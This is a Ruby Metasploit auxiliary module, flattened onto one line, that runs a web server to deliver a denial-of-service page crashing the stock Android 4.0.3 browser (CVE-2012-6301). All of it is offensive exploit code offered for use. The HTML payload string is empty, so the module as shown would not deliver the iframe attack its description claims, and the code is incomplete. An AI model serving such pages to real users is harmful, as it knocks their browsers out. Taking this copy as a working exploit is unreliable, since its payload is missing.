## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => "Android Stock Browser Iframe DOS", 'Description' => %q( This module exploits a vulnerability in the native browser that comes with Android 4.0.3. If successful, the browser will crash after viewing the webpage. ), 'License' => MSF_LICENSE, 'Author' => [ 'Jean Pascal Pereira', # Original exploit discovery 'Jonathan Waggoner' # Metasploit module ], 'References' => [ [ 'PACKETSTORM', '118539'], [ 'CVE', '2012-6301' ] ], 'DisclosureDate' => '2012-12-01', 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer' ) ) end def run exploit # start http server end def setup @html = %| | end def on_request_uri(cli, _request) print_status('Sending response') send_response(cli, @html) end end